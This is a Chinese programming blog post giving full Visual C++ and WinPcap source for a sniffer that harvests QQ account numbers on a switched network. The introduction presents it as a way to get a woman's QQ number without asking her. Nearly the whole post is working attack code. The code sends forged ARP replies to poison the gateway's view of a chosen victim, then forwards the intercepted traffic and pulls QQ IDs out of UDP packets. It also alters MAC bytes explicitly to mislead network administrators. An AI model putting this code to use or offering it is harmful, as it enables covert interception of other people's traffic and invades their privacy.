zoukankan      html  css  js  c++  java
  • 基于visual c++之windows核心编程代码分析(47)实现交换网络的QQ号嗅探

    当我们在一个交换网络里面,不知道别人的QQ号码是个很痛苦的事情,假如一个PLMM在上网,你却不知道她得QQ也没有勇气去问,是个很可惜的事情,

    至于我们搞编程的,可以通过交换机的数据交换,嗅探出QQ号,因为QQ数据里面唯独QQ号码不加密。

    #include "stdafx.h"
    #include "pcap.h"
    #include <stdio.h>
    #include "Iphlpapi.h"
    #include "protocol.h"
    
    #pragma comment(lib,"wpcap.lib")
    #pragma comment(lib, "Iphlpapi.lib")
    #pragma comment(lib,"wsock32.lib")
    #define PCAP_OPENFLAG_PROMISCUOUS 1
    
    DWORD dwMyIp,dwGateIp,dwSubnet,dwDstIp;
    UCHAR uMyMac[6],uGateMac[6],uDstMac[6];
    pcap_t *adhandle;
    int nCount = 0;//用于执行三次获取网关MAC的操作
    bool bGateMac = true;
    bool bDstMac = true;
    
    void SendArpRequest(DWORD dwDesIP, DWORD dwSrcIP, UCHAR uSrcMac[]);
    int SendPacket(char *pBuffer, int nLen);
    
    /* 每次捕获到数据包时,libpcap都会自动调用这个回调函数 */
    void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
    {
        ETHeader *pETHdr = (ETHeader *)pkt_data;
    	if(ntohs(pETHdr->type) == ETH_TYPE_ARP)
    	{
    		if(header->len < sizeof(ArpPacket)) return;
    		ARPHeader *pArpHdr = (ARPHeader *)((char *)pkt_data+sizeof(ETHeader));
    		if(ntohs(pArpHdr->opcode) == ARPOP_REPLY)
    		{
    			if(pArpHdr->daddr == dwMyIp && pArpHdr->saddr == dwGateIp && bGateMac)
    			{
    				if(nCount == 0)
    				{
    					memcpy(uGateMac,pArpHdr->smac,6);
    					nCount ++;
    				}else if(nCount == 3)//完成获取网关MAC
    				{
    					bGateMac = false;
    					return;
    				}else{
    					if(!memcmp(uGateMac,pArpHdr->smac,6))
    					{
    						nCount ++;
    					}else{
    						nCount = 0;
    					}
    				}
    				SendArpRequest(dwGateIp,dwMyIp,uMyMac);
    			}
    			if(pArpHdr->daddr == dwMyIp && pArpHdr->saddr == dwDstIp && bDstMac)
    			{
    				memcpy(uDstMac,pArpHdr->smac,6);
    				bDstMac = false;
    			}
    		}
    	}
    	if(ntohs(pETHdr->type) == ETH_TYPE_IP)
    	{
    		IpHeader *pIpHdr = (IpHeader *)((char*)pkt_data+sizeof(ETHeader));
    		if(pIpHdr->Protocol == PROTOCOL_UDP)
    		{
    			if(header->len < sizeof(ETHeader) + sizeof(IpHeader) + sizeof(UdpHeader)) return;
    			UdpHeader *pUdpHdr = (UdpHeader *)((char*)pIpHdr+sizeof(IpHeader));
    			if(ntohs(pUdpHdr->SrcPort) == 8000)
    			{
    				QQHeader *pQQHdr = (QQHeader *)((char*)pUdpHdr+sizeof(UdpHeader));
    				if(pQQHdr->Flag != 0x02) return;//不是qq数据包
    				UCHAR uQQ[4];
    				memcpy(uQQ,pQQHdr->Data,4);
    				DWORD dwQQ = 0;
    				for(int i=0;i<4;i++)
    				{
    					dwQQ = dwQQ*256+uQQ[i];
    				}
    				printf("找到IP:%s的QQ号:%u\n",inet_ntoa(*(in_addr*)&pIpHdr->DstAddr),dwQQ);
    			}
    		}
    		if(pIpHdr->DstAddr == dwDstIp && memcmp(pETHdr->dhost,uDstMac,6))//目的IP为要嗅探的IP,但是目的MAC不是对方的MAC
    		{
    			pETHdr->shost[5] ++;//源MAC不能设为网关MAC,否则会出现交换机欺骗,从而其它主机也无法上网
    			memcpy(pETHdr->dhost,uDstMac,6);
    			SendPacket((char*)pkt_data,header->len);
    		}
    	}
    }
    
    
    int SendPacket(char *pBuffer, int nLen)
    {
    	if(pcap_sendpacket(adhandle,(UCHAR *)pBuffer,nLen)) return 0;
    	return 1;
    }
    
    void SendArpRequest(DWORD dwDesIP, DWORD dwSrcIP, UCHAR uSrcMac[])
    {
    	ArpPacket *pArpPacket = new ArpPacket;
    	for(int i =0;i<6;i++)
    		pArpPacket->eth.dhost[i] = 0xFF;
    	memcpy(pArpPacket->eth.shost,uSrcMac,6);
    	pArpPacket->eth.type = ntohs(ETH_TYPE_ARP);
    	pArpPacket->arp.hrd = ntohs(ARPHRD_ETHER);
    	pArpPacket->arp.eth_type = ntohs(ETH_TYPE_IP);
    	pArpPacket->arp.maclen = 6;
    	pArpPacket->arp.iplen = 4;
    	pArpPacket->arp.opcode = ntohs(ARPOP_REQUEST);
    	memcpy(pArpPacket->arp.smac,uSrcMac,6);
    	pArpPacket->arp.saddr = dwSrcIP;
    	memset(pArpPacket->arp.dmac,0,6);
    	pArpPacket->arp.daddr = dwDesIP;
    	SendPacket((char*)pArpPacket,sizeof(ArpPacket));
    	delete pArpPacket;
    }
    
    void SendArpReply(DWORD dwDesIP, DWORD dwSrcIP, UCHAR uDesMac[], UCHAR uSrcMac[])
    {
    	ArpPacket *pArpPacket = new ArpPacket;
    	memcpy(pArpPacket->eth.dhost,uDesMac,6);
    	memcpy(pArpPacket->eth.shost,uSrcMac,6);
    	pArpPacket->eth.type = ntohs(ETH_TYPE_ARP);
    	pArpPacket->arp.hrd = ntohs(ARPHRD_ETHER);
    	pArpPacket->arp.eth_type = ntohs(ETH_TYPE_IP);
    	pArpPacket->arp.maclen = 6;
    	pArpPacket->arp.iplen = 4;
    	pArpPacket->arp.opcode = ntohs(ARPOP_REPLY);
    	memcpy(pArpPacket->arp.smac,uSrcMac,6);
    	pArpPacket->arp.saddr = dwSrcIP;
    	memcpy(pArpPacket->arp.dmac,uDesMac,6);
    	pArpPacket->arp.daddr = dwDesIP;
    	SendPacket((char*)pArpPacket,sizeof(ArpPacket));
    	delete pArpPacket;
    }
    
    int WINAPI MyThread(LPVOID Param)
    {
    //	Sleep(100);
    	SendArpRequest(dwGateIp,dwMyIp,uMyMac);
    	while(1)
    	{
    		if(bGateMac)
    		{
    			::Sleep(100);
    			continue;
    		}
    		break;
    	}
    	printf("网关MAC为:%02X-%02X-%02X-%02X-%02X-%02X\n",uGateMac[0],uGateMac[1],uGateMac[2],uGateMac[3],uGateMac[4],uGateMac[5]);
    	printf("输入要嗅探的IP地址:");
    	char ip[20];
    	scanf("%s",ip);
    	dwDstIp = inet_addr(ip);
    	SendArpRequest(dwDstIp,dwMyIp,uMyMac);
    	while(1)
    	{
    		if(bDstMac)
    		{
    			::Sleep(100);
    			continue;
    		}
    		break;
    	}
    	printf("目标MAC为:%02X-%02X-%02X-%02X-%02X-%02X\n",uDstMac[0],uDstMac[1],uDstMac[2],uDstMac[3],uDstMac[4],uDstMac[5]);
    	printf("输入每秒发送欺骗包的个数:1-50\n");
    	int nSpeed;
    	scanf("%d",&nSpeed);
    	UCHAR uMac[6]; 
    	uMac[0] = uDstMac[0];
    	uMac[1] = uDstMac[1];
    	uMac[2] = uDstMac[3];
    	uMac[3] = uDstMac[2];//交换MAC的第三和第四个字节,迷惑管理员
    	uMac[4] = uDstMac[4];
    	uMac[5] = uDstMac[5];
    	while(1)
    	{
    		SendArpReply(dwGateIp,inet_addr(ip),uGateMac,uMac);
    		Sleep(1000/nSpeed);
    	}
    	return 0;
    }
    
    int GetNetConfig(DWORD dwIp)
    {
    	PIP_ADAPTER_INFO pAdapterInfo = NULL;
    	ULONG ulLen = 0;
    
    	// 为适配器结构申请内存
    	::GetAdaptersInfo(pAdapterInfo,&ulLen);
    	pAdapterInfo = (PIP_ADAPTER_INFO)::GlobalAlloc(GPTR, ulLen);
    	
    	// 取得本地适配器结构信息
    	if(::GetAdaptersInfo(pAdapterInfo,&ulLen) ==  ERROR_SUCCESS)
    	{
    		while(pAdapterInfo != NULL)
    		{
    			if(dwIp == inet_addr(pAdapterInfo->IpAddressList.IpAddress.String))
    			{
    				dwMyIp = dwIp;
    				memcpy(uMyMac,pAdapterInfo->Address,6);
    				dwSubnet = inet_addr(pAdapterInfo->IpAddressList.IpMask.String);
    				dwGateIp = inet_addr(pAdapterInfo->GatewayList.IpAddress.String);
    				//				CEther::SetGateWayAddr(inet_addr(pAdapterInfo->GatewayList.IpAddress.String),"");
    				printf("本机IP地址为:%s\n本机MAC为:%02X-%02X-%02X-%02X-%02X-%02X\n网关IP地址为:%s\n",
    					pAdapterInfo->IpAddressList.IpAddress.String,
    					uMyMac[0],uMyMac[1],uMyMac[2],uMyMac[3],uMyMac[4],uMyMac[5],
    					pAdapterInfo->GatewayList.IpAddress.String);
    				return 1;
    			}
    			pAdapterInfo = pAdapterInfo->Next;
    		}
    		return 0;
    	}
    	return -1;
    }
    int main(int argc, char* argv[])
    {
    	pcap_if_t *alldevs; 
    	pcap_if_t *d; 
    	int i = 0; 
    	char errbuf[PCAP_ERRBUF_SIZE]; 
    	
    	/* Retrieve the device list from the local machine*/ 
    	if (pcap_findalldevs(&alldevs, errbuf) == -1)  
    	{ 
    		printf("Error in pcap_findalldevs_ex: %s\n", errbuf); 
    		exit(1); 
    	} 
    	
    	/* Print the list */ 
    	for (d = alldevs; d != NULL; d = d->next) 
    	{ 
    		/* Print the device’s name */ 
    		printf("%d. %s", ++ i, d->name); 
    		
    		/* Print the device’s dscription */ 
    		if (d->description) 
    		{ 
    			printf("(%s)\n", d->description); 
    		} 
    		else 
    		{ 
    			printf("(No description available)\n"); 
    		} 
    	} 
    	
    	if (i == 0) 
    	{ 
    		printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); 
    		return -1; 
    	} 
    	printf("Enter the interface number (1-%d):",i);
    	int nIdx;
        scanf("%d", &nIdx);
        
        if(nIdx < 1 || nIdx > i)
        {
            printf("\nInterface number out of range.\n");
            /* 释放设备列表 */
            pcap_freealldevs(alldevs);
            return -1;
        }
        
        /* 跳转到选中的适配器 */
        for(d=alldevs, i=0; i< nIdx-1 ;d=d->next, i++);
        
        /* 打开设备 */
        if((adhandle= pcap_open_live(d->name,          // 设备名
    		65536,            // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容
    		PCAP_OPENFLAG_PROMISCUOUS,    // 混杂模式
    		10,             // 读取超时时间
    		errbuf            // 错误缓冲池
    		)) == NULL)
        {
            fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
            /* 释放设备列表 */
            pcap_freealldevs(alldevs);
            return -1;
        }
        
        printf("\nlistening on %s...\n", d->description);
        
    	GetNetConfig(((sockaddr_in *)(d->addresses->addr))->sin_addr.S_un.S_addr);
        /* 释放设备列表 */
        pcap_freealldevs(alldevs);
        
    	::CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)MyThread,NULL,0,0);
        /* 开始捕获 */
        pcap_loop(adhandle, 0, packet_handler, NULL);
    	return 0;
    }


     

  • 相关阅读:
    Fedora 14 安装完后的设置 添加源 更新软件
    visual studio NuGet 常用包管理命令
    ubuntu通过cifs-utils访问Windows共享目录
    C# 数据库写入Sql Bulk索引损坏异常问题System.InvalidOperationException: DataTable internal index is corrupted: '4'
    C# IEnumerable to List 的转换
    python 端口扫描
    ubuntu 关闭 phpmyadmin
    zendframework 初始化配置
    zend-form笔记
    DirectX 图形流水线
  • 原文地址:https://www.cnblogs.com/new0801/p/6177778.html
Copyright © 2011-2022 走看看